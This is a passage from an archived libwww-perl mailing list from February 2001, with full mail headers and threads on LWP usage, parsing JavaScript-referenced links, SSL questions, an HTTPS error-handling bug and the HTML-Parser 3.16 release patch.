Priority: urgent
X-mailer: Pegasus Mail for Win32 (v3.12c)



Hi,
Can anybody give me an example how I can use parallel LWP with 
POST method for posting?

Best Regards,
Ladislav Blazek( Mr.)


From viena@sodatec.org Wed Feb 21 10:30:30 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa06136 for <hyper>;
          21 Feb 2001 10:30 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa17155
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 10:30 PST
Received: (qmail 10660 invoked by uid 508); 21 Feb 2001 18:30:19 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 10645 invoked from network); 21 Feb 2001 18:30:15 -0000
Received: from darkstar.sodatec.org (mail@63.170.173.202)
  by tmtowtdi.perl.org with SMTP; 21 Feb 2001 18:30:15 -0000
Received: from delfos.sodatec.org ([192.168.1.11] helo=delfos)
	by darkstar.sodatec.org with esmtp id 14Ve1c-00060a-00
	for <libwww@perl.org>; Wed, 21 Feb 2001 13:30:04 -0500
From: Viena Garcia Acosta <viena@sodatec.org>
Organization: SODATEC S.A.
To: libwww@perl.org
Date: Wed, 21 Feb 2001 13:33:12 -0500
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Parsing HTML with javascript ...
Reply-to: viena@sodatec.org
Message-ID: <3A93C398.26697.AD7BBD3@localhost>
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12c)

Hi!

I had been reading and searching all libwww-perl archive and more, and 
still not found an answer.

I'm working at a project that takes a "fake" website and upload it to 
the real server. We start with the index page, and then upload 
every link referred by each different page.
We use libwww-perl for that, we have an Upload module that use
HTML::LinkExtor for parsing an HTML file and extracts all links.

Everything was working fine. But now we have included some 
javascript code into the pages, to use common onload and 
mouseover attributes. But the images referred only in onload 
attribute of the body tag, or on the onmouseover att. of href tag, are 
not seeing by the parser and never uploaded to the real server.

So, I'll like to ask if there's some solution already for this 
problem or maybe someone that is working at it.

Thanks,
Cheers

Viena Garcia Acosta                      
Webprogrammer
SODATEC S.A.
viena@sodatec.org
(53-7) 275062

From sleepinginseattle@hotmail.com Wed Feb 21 17:28:49 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa14181 for <hyper>;
          21 Feb 2001 17:28 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa24254
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 17:28 PST
Received: (qmail 6350 invoked by uid 508); 22 Feb 2001 01:28:42 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 6341 invoked from network); 22 Feb 2001 01:28:42 -0000
Received: from f123.law11.hotmail.com (HELO hotmail.com) (64.4.17.123)
  by tmtowtdi.perl.org with SMTP; 22 Feb 2001 01:28:42 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 21 Feb 2001 17:28:14 -0800
Received: from 207.149.72.101 by lw11fd.law11.hotmail.msn.com with HTTP;	Thu, 22 Feb 2001 01:28:14 GMT
X-Originating-IP: [207.149.72.101]
From: C K <sleepinginseattle@hotmail.com>
To: viena@sodatec.org, libwww@perl.org
Subject: Re: Parsing HTML with javascript ...
Date: Wed, 21 Feb 2001 17:28:14 -0800
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F123JMYWxKgYlWCDE3d00013468@hotmail.com>
X-OriginalArrivalTime: 22 Feb 2001 01:28:14.0918 (UTC) FILETIME=[BA1D1E60:01C09C6E]

With javascript the only thing I can think of (and what we've done in 
catching javascript links) is re-parsing the current document in the 
$response object, with a pattern match of what your looking for, and then 
base url those found links (then either downloading those images as the 
image links are found or saving the image links to a log file).

Does anyone know if we can embedd javascript onto perl scripts or if there's 
a perl module out there that can handle javascript type links?



>From: "Viena Garcia Acosta" <viena@sodatec.org>
>Reply-To: viena@sodatec.org
>To: libwww@perl.org
>Subject: Parsing HTML with javascript ...
>Date: Wed, 21 Feb 2001 13:33:12 -0500
>
>Hi!
>
>I had been reading and searching all libwww-perl archive and more, and
>still not found an answer.
>
>I'm working at a project that takes a "fake" website and upload it to
>the real server. We start with the index page, and then upload
>every link referred by each different page.
>We use libwww-perl for that, we have an Upload module that use
>HTML::LinkExtor for parsing an HTML file and extracts all links.
>
>Everything was working fine. But now we have included some
>javascript code into the pages, to use common onload and
>mouseover attributes. But the images referred only in onload
>attribute of the body tag, or on the onmouseover att. of href tag, are
>not seeing by the parser and never uploaded to the real server.
>
>So, I'll like to ask if there's some solution already for this
>problem or maybe someone that is working at it.
>
>Thanks,
>Cheers
>
>Viena Garcia Acosta
>Webprogrammer
>SODATEC S.A.
>viena@sodatec.org
>(53-7) 275062

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From sleepinginseattle@hotmail.com Wed Feb 21 17:39:11 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa15147 for <hyper>;
          21 Feb 2001 17:39 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa26548
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 17:39 PST
Received: (qmail 8377 invoked by uid 508); 22 Feb 2001 01:39:02 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 8367 invoked from network); 22 Feb 2001 01:39:02 -0000
Received: from f86.law11.hotmail.com (HELO hotmail.com) (64.4.17.86)
  by tmtowtdi.perl.org with SMTP; 22 Feb 2001 01:39:02 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 21 Feb 2001 17:38:35 -0800
Received: from 207.149.72.101 by lw11fd.law11.hotmail.msn.com with HTTP;	Thu, 22 Feb 2001 01:38:35 GMT
X-Originating-IP: [207.149.72.101]
From: C K <sleepinginseattle@hotmail.com>
To: john@office.naver.co.id, libwww@perl.org
Subject: Re: / and DirectoryIndex
Date: Wed, 21 Feb 2001 17:38:35 -0800
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F86SXdUjpszcSmjztg30000d8af@hotmail.com>
X-OriginalArrivalTime: 22 Feb 2001 01:38:35.0616 (UTC) FILETIME=[2C141E00:01C09C70]

Does
http:://www.domain.com/ redirect
to
http:://www.domain.com/index.html
?

If it does, perhaps you can keep a running tally of found links, so 
http:://www.domain.com/index.html doesn't get parsed, again.





>From: John Indra <john@office.naver.co.id>
>To: libwww@perl.org
>Subject: / and DirectoryIndex
>Date: Wed, 21 Feb 2001 16:42:20 +0700
>
>Hi all...
>
>How do I tell my user-agent (an LWP::UserAgent object) to NOT download both
>/ and index.html or whatever remote sites DirectoryIndex set to?
>Example, my user-agent sees 2 link:
>- http:://www.domain.com/
>- http:://www.domain.com/index.html
>IF in this situation both link to the same document, my user-agent will be 
>a
>fool if it tries to download both file. How do I make a "smarter" 
>user-agent
>that will know that those 2 links are the same and only perform one GET
>method, either to http:://www.domain.com/ OR
>http:://www.domain.com/index.html?
>
>Thanks...
>
>/john
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From sleepinginseattle@hotmail.com Wed Feb 21 17:50:16 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa16042 for <hyper>;
          21 Feb 2001 17:50 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa29033
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 17:50 PST
Received: (qmail 10622 invoked by uid 508); 22 Feb 2001 01:50:07 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 10613 invoked from network); 22 Feb 2001 01:50:07 -0000
Received: from f314.law11.hotmail.com (HELO hotmail.com) (64.4.16.189)
  by tmtowtdi.perl.org with SMTP; 22 Feb 2001 01:50:07 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 21 Feb 2001 17:49:40 -0800
Received: from 207.149.72.101 by lw11fd.law11.hotmail.msn.com with HTTP;	Thu, 22 Feb 2001 01:49:40 GMT
X-Originating-IP: [207.149.72.101]
From: C K <sleepinginseattle@hotmail.com>
To: libwww@perl.org
Subject: link check program as plug-in to netscape
Date: Wed, 21 Feb 2001 17:49:40 -0800
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F314OBqkL8qwaO3021100005143@hotmail.com>
X-OriginalArrivalTime: 22 Feb 2001 01:49:40.0647 (UTC) FILETIME=[B877CB70:01C09C71]

This might be off the topic of the mailling list, but do you think it's 
possible and what ideas come to your mind if one creates a link check 
program (or if anyone already created one) that plugs-in to netscape.  Since 
netscape already has everything on it, ie SSL, javascript interpreter, etc.
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From john@office.naver.co.id Wed Feb 21 18:18:21 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa18267 for <hyper>;
          21 Feb 2001 18:18 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05294
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Feb 2001 18:18 PST
Received: (qmail 15124 invoked by uid 508); 22 Feb 2001 02:18:13 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 15112 invoked from network); 22 Feb 2001 02:18:12 -0000
Received: from unknown (HELO dante.naver.co.id) (postfix@202.155.86.83)
  by tmtowtdi.perl.org with SMTP; 22 Feb 2001 02:18:12 -0000
Received: by dante.naver.co.id (Postfix, from userid 1000)
	id D47C3BDEAA; Thu, 22 Feb 2001 09:18:12 +0700 (JAVT)
Date: Thu, 22 Feb 2001 09:18:12 +0700
From: John Indra <john@office.naver.co.id>
To: libwww@perl.org
Subject: Re: / and DirectoryIndex
Message-ID: <20010222091812.A18460@office.naver.co.id>
Mail-Followup-To: libwww@perl.org
References: <20010221164220.A10743@office.naver.co.id> <20010221130950.A21534@win.tue.nl>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20010221130950.A21534@win.tue.nl>; from reinpost@win.tue.nl on Wed, Feb 21, 2001 at 01:09:50PM +0100
X-Mailer: Mutt 1.2.5i on FreeBSD 5.0-20010210-CURRENT i386

On Wed, Feb 21, 2001 at 01:09:50PM +0100, Reinier Post wrote:

>> - http:://www.domain.com/
>
>This :: notation is contagious :-)

Ha3x... unbelievable. I didn't even notice that before. I was writing my
user agent when I wrote this message :)

>The server won't tell you whether or not they're the same document.

Yikes :(
Then I have to live with downloading duplicates I guess :(

>You have the same problem with server aliases or symlinks: the whole
>tree
>   http://www.domain.com/a/butreally/b/*
>may be identical to 
>  http://www.domain.com/b/*

I see what you mean.  I was only interested in teaching my user-agent to
"know" that / and /index.html (or whatever remote HTTP server DirectoryIndex
set to) is the same so need not to make double GET to same document.

I guess that's not feasible without some checking, and checking like this
will be very time consuming and bandwith inefficient :(

Well, thanks for the reply anyway :)

>Reinier

/john


From oyku@solfix.net Thu Feb 22 02:55:01 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa15919 for <hyper>;
          22 Feb 2001 02:55 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa25492
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Feb 2001 02:54 PST
Received: (qmail 16667 invoked by uid 508); 22 Feb 2001 10:54:52 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 16657 invoked from network); 22 Feb 2001 10:54:51 -0000
Received: from venus1.ttnet.net.tr (212.156.4.3)
  by tmtowtdi.perl.org with SMTP; 22 Feb 2001 10:54:51 -0000
Received: from oyku ([212.29.78.219]) by venus1.ttnet.net.tr
          (Netscape Messaging Server 4.15) with ESMTP id G95NMN00.B5L;
          Thu, 22 Feb 2001 13:54:23 +0300 
Message-ID: <005c01c09cbd$ea37c790$1401a8c0@oyku.net>
From: Oyku Gencay <oyku@solfix.net>
To: viena@sodatec.org, libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
References: <3A93C398.26697.AD7BBD3@localhost>
Subject: Re: Parsing HTML with javascript ...
Date: Thu, 22 Feb 2001 12:49:11 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

Hi,

I have once encountered a situation where I needed to parse javascript.
Actually You can parse the HTML document with regular expressions to find
out on mouseover type of code but the best way would be parsing javascript.
This literally means interpretting javascript :) Although you do not need to
execute what the code says but you definitely need to understand what the
code instructs the browser to do. There are some javascript interpretters
out the on the net but unfortunately I don't recall any name or url. Give it
a search at google or sourceforge.

Hop this helps.

Oyku GENCAY

----- Original Message -----
From: Viena Garcia Acosta <viena@sodatec.org>
To: <libwww@perl.org>
Sent: Wednesday, February 21, 2001 8:33 PM
Subject: Parsing HTML with javascript ...


> Hi!
>
> I had been reading and searching all libwww-perl archive and more, and
> still not found an answer.
>
> I'm working at a project that takes a "fake" website and upload it to
> the real server. We start with the index page, and then upload
> every link referred by each different page.
> We use libwww-perl for that, we have an Upload module that use
> HTML::LinkExtor for parsing an HTML file and extracts all links.
>
> Everything was working fine. But now we have included some
> javascript code into the pages, to use common onload and
> mouseover attributes. But the images referred only in onload
> attribute of the body tag, or on the onmouseover att. of href tag, are
> not seeing by the parser and never uploaded to the real server.
>
> So, I'll like to ask if there's some solution already for this
> problem or maybe someone that is working at it.
>
> Thanks,
> Cheers
>
> Viena Garcia Acosta
> Webprogrammer
> SODATEC S.A.
> viena@sodatec.org
> (53-7) 275062


From newt@pobox.com Thu Feb 22 03:46:44 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa18070 for <hyper>;
          22 Feb 2001 03:46 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06981
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Feb 2001 03:46 PST
Received: (qmail 22744 invoked by uid 508); 22 Feb 2001 11:46:36 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 20793 invoked from network); 21 Feb 2001 23:48:30 -0000
X-envelope-info: <roelofs@sonic.net>
Date: Wed, 21 Feb 2001 15:48:24 -0800
Message-Id: <200102212348.f1LNmOb24654@sonic.net>
From: Greg Roelofs <newt@pobox.com>
Reply-To: Greg Roelofs <newt@pobox.com>
To: libwww@perl.org
Subject: bad failure mode on https "connection refused"

[I'm not on this list, in case it's not obvious.]

/usr/bin/HEAD from a just-installed libwww-perl 5.50 with Crypt-SSLeay
(0.22) support appears not to detect "connection refused" errors correctly.
Rather than generating its own "500 Server error" (or similar), it fails
with:

    Can't call method "request" on an undefined value at
    /usr/lib/perl5/site_perl/LWP/UserAgent.pm line 227.

Here's an example URL (that was valid a year or two ago, anyway):

    https://cvs-mirror.mozilla.org/webtools/despot/help.html

The same thing happens for a site that has never run a secure server

    https://vevo.com/

and one for which Netscape reports a network "I/O error":

    https://pobox.com/

Other than that, this is a stupendously useful tool.  Many thanks!

Regards,
-- 
Greg Roelofs            newt@pobox.com            http://pobox.com/~newt/
Newtware, PNG Group, Info-ZIP, Philips Research, ...

From dredd@megacity.org Thu Feb 22 16:45:49 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa14463 for <hyper>;
          22 Feb 2001 16:45 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa17605
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Feb 2001 16:45 PST
Received: (qmail 19361 invoked by uid 508); 23 Feb 2001 00:45:42 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 19352 invoked from network); 23 Feb 2001 00:45:41 -0000
Received: from minbar.megacity.org (root@64.71.143.244)
  by tmtowtdi.perl.org with SMTP; 23 Feb 2001 00:45:41 -0000
Received: from [206.132.89.194] (e-coli.corp.yahoo.com [206.132.89.194])
	(authenticated (0 bits))
	by minbar.megacity.org (8.12.0.Beta3/8.12.0.Beta3) with ESMTP id f1N0jc8I002030
	for <libwww@perl.org>; Thu, 22 Feb 2001 16:45:40 -0800
Mime-Version: 1.0
X-Sender: dredd@mail.megacity.org
Message-Id: <p05010417b6bb62fa03e8@[206.132.89.194]>
Date: Thu, 22 Feb 2001 16:45:32 -0800
To: libwww@perl.org
From: "Derek J. Balling" <dredd@megacity.org>
Subject: SSL Question
Content-Type: text/plain; charset="us-ascii"

Is there some way to get the server's SSL Cert EXPIRATION date out of the
HTTP::Response object?

I see lots of SSL headers, but none seem to have the certificate expiration
date... :-/

D
-- 
+---------------------+-----------------------------------------+
| dredd@megacity.org  | "Conan! What is best in life?"          |
|  Derek J. Balling   | "To crush your enemies, see them        |
|                     |    driven before you, and to hear the   |
|                     |    lamentation of their women!"         |
+---------------------+-----------------------------------------+

From viena@sodatec.org Fri Feb 23 07:44:05 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa01377 for <hyper>;
          23 Feb 2001 07:44 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa01722
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 23 Feb 2001 07:44 PST
Received: (qmail 3200 invoked by uid 508); 23 Feb 2001 15:43:56 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 3190 invoked from network); 23 Feb 2001 15:43:54 -0000
Received: from darkstar.sodatec.org (mail@63.170.173.202)
  by tmtowtdi.perl.org with SMTP; 23 Feb 2001 15:43:54 -0000
Received: from delfos.sodatec.org ([192.168.1.11] helo=delfos)
	by darkstar.sodatec.org with esmtp id 14WKNh-0000Br-00
	for <libwww@perl.org>; Fri, 23 Feb 2001 10:43:41 -0500
From: Viena Garcia Acosta <viena@sodatec.org>
Organization: SODATEC S.A.
To: libwww@perl.org
Date: Fri, 23 Feb 2001 10:46:51 -0500
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: parse method of HTML::Parser
Reply-to: viena@sodatec.org
Message-ID: <3A963F9B.1297.148C2000@localhost>
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12c)

Hi!

I was looking at HTML::Parser code and didn't found the
parse method, so, where it's supposed to be?
Thanks
Viena

Lic. Viena Garcia Acosta  
SODATEC S.A.                    Desamparados 166, #306. Habana Vieja                  
viena@sodatec.org               Telf. (53-7) 637672   

From cw@dwc.ch Fri Feb 23 08:40:00 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa04637 for <hyper>;
          23 Feb 2001 08:40 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa08249
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 23 Feb 2001 08:39 PST
Received: (qmail 19056 invoked by uid 508); 23 Feb 2001 16:39:51 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 19047 invoked from network); 23 Feb 2001 16:39:49 -0000
Received: from nowwhat.dwc.ch (193.247.213.14)
  by tmtowtdi.perl.org with SMTP; 23 Feb 2001 16:39:49 -0000
Received: from dwc.ch ([193.247.213.74]) by nowwhat.dwc.ch
          (Netscape Messaging Server 3.54)  with ESMTP id AAA6A0A
          for <libwww@perl.org>; Fri, 23 Feb 2001 17:38:50 +0100
Message-ID: <3A969297.1E2589D6@dwc.ch>
Date: Fri, 23 Feb 2001 17:40:55 +0100
From: Christoph Wernli <cw@dwc.ch>
Organization: http://www.dwc.ch
X-Sender: "Christoph Wernli" <cwernli@mail.dwc.ch>
X-Mailer: Mozilla 4.73 [en] (Win98; I)
X-Accept-Language: de-CH,it,en,fr-CH
MIME-Version: 1.0
To: libwww@perl.org
Subject: Re: parse method of HTML::Parser
References: <3A963F9B.1297.148C2000@localhost>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Viena Garcia Acosta wrote:
> 
> I was looking at HTML::Parser code and didn't found the
> parse method, so, where it's supposed to be?

It's an .xs-method => it resides somewhere like 

/usr/lib/perl5/site_perl/5.005/i586-linux/auto/HTML/Parser/Parser.so (depending on your
system, of course, and not very usefull anyway :)

To play around with it you'll have to get HTML-Parser-3.15.tar.gz; look specifically at
hparser.c.

HTH,

-Christoph

From gisle@activestate.com Fri Feb 23 10:09:53 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11626 for <hyper>;
          23 Feb 2001 10:09 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa19183
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 23 Feb 2001 10:09 PST
Received: (qmail 14302 invoked by uid 508); 23 Feb 2001 18:09:46 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 14283 invoked from network); 23 Feb 2001 18:09:45 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 23 Feb 2001 18:09:45 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id KAA23453;
	Fri, 23 Feb 2001 10:09:15 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: libwww@perl.org
Subject: HTML-Parser-3.16
From: Gisle Aas <gisle@activestate.com>
Date: 23 Feb 2001 10:09:15 -0800
Message-ID: <lr4rxlff04.fsf@caliper.ActiveState.com>
Lines: 47
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

HTML-Parser-3.16 should now be on CPAN.  Changes since 3.15 are:

     The unbroken_text option now works across ignored tags.

     Fix casting of pointers on some 64 bit platforms.

     Fix decoding of Unicode entities.  Only optionally available for
     perl-5.7.0 or better.

Unfortunately I just discovered that HTML-Parser will not build on
some configurations of perl unless you apply this patch.  Expect 3.17
to go out real soon :-(

Regards,
Gisle



--- util.c.dist	Fri Feb 23 09:59:27 2001
+++ util.c	Fri Feb 23 10:01:13 2001
@@ -40,7 +40,7 @@
 }
 
 static void
-grow_gap(SV* sv, STRLEN grow, char** t, char** s, char** e)
+grow_gap(pTHX_ SV* sv, STRLEN grow, char** t, char** s, char** e)
 {
     /*
      SvPVX ---> AAAAAA...BBBBBB
@@ -181,7 +181,7 @@
 			/* XXX It might already be enough gap, so we don't need this,
 			   but it should not hurt either.
 			*/
-			grow_gap(sv, grow, &t, &s, &end);
+			grow_gap(aTHX_ sv, grow, &t, &s, &end);
 			Copy(ustr, SvPVX(sv), len, char);
 			t = SvPVX(sv) + len;
 		    }
@@ -197,7 +197,7 @@
 
 	    if (t + repl_len > s) {
 		/* need to grow the string */
-		grow_gap(sv, repl_len - (s - t), &t, &s, &end);
+		grow_gap(aTHX_ sv, repl_len - (s - t), &t, &s, &end);
 	    }
 
 	    /* copy replacement string into string */

From cgilmore@tivoli.com Sat Feb 24 12:08:10 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa02374 for <hyper>;
          24 Feb 2001 12:08 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa04123
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 24 Feb 2001 12:08 PST
Received: (qmail 6766 invoked by uid 508); 24 Feb 2001 20:07:55 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 6757 invoked from network); 24 Feb 2001 20:07:54 -0000
Received: from corp.tivoli.com (216.140.178.60)
  by tmtowtdi.perl.org with SMTP; 24 Feb 2001 20:07:54 -0000
Received: from bonfire.tivoli.com (bonfire.tivoli.com [146.84.102.8])
	by corp.tivoli.com (8.9.3/8.9.0) with ESMTP id OAA08647
	for <libwww@perl.org>; Sat, 24 Feb 2001 14:07:54 -0600 (CST)
Received: from cgilmor1 (cgilmor1.dev.tivoli.com [146.84.40.105])
	by bonfire.tivoli.com (8.10.2/8.9.1) with SMTP id f1OK7ro01696
	for <libwww@perl.org>; Sat, 24 Feb 2001 14:07:53 -0600 (CST)
From: Christian Gilmore <cgilmore@tivoli.com>
To: "LWP Mailing List (E-mail)" <libwww@perl.org>
Subject: Re-using SSL session information
Date: Sat, 24 Feb 2001 14:06:57 -0600
Message-ID: <000501c09e9d$579f36c0$69285492@tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal

I'm trying to optimize a client writen with LWP to re-use SSL session
information so subsequent requests don't get bogged down in the time
consuming process of establishing an SSL session with the remote server.
It doesn't appear, though, that session information is available. I'm
hoping that I'm just missing it. Any leads would be most helpful.

Regards,
Christian

-----------------
Christian Gilmore
Infrastructure & Tools Team Lead
Web & Multimedia Development
Tivoli Systems, Inc.


From sburke@spinn.net Sat Feb 24 16:11:28 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa12879 for <hyper>;
          24 Feb 2001 16:11 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06411
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 24 Feb 2001 16:11 PST
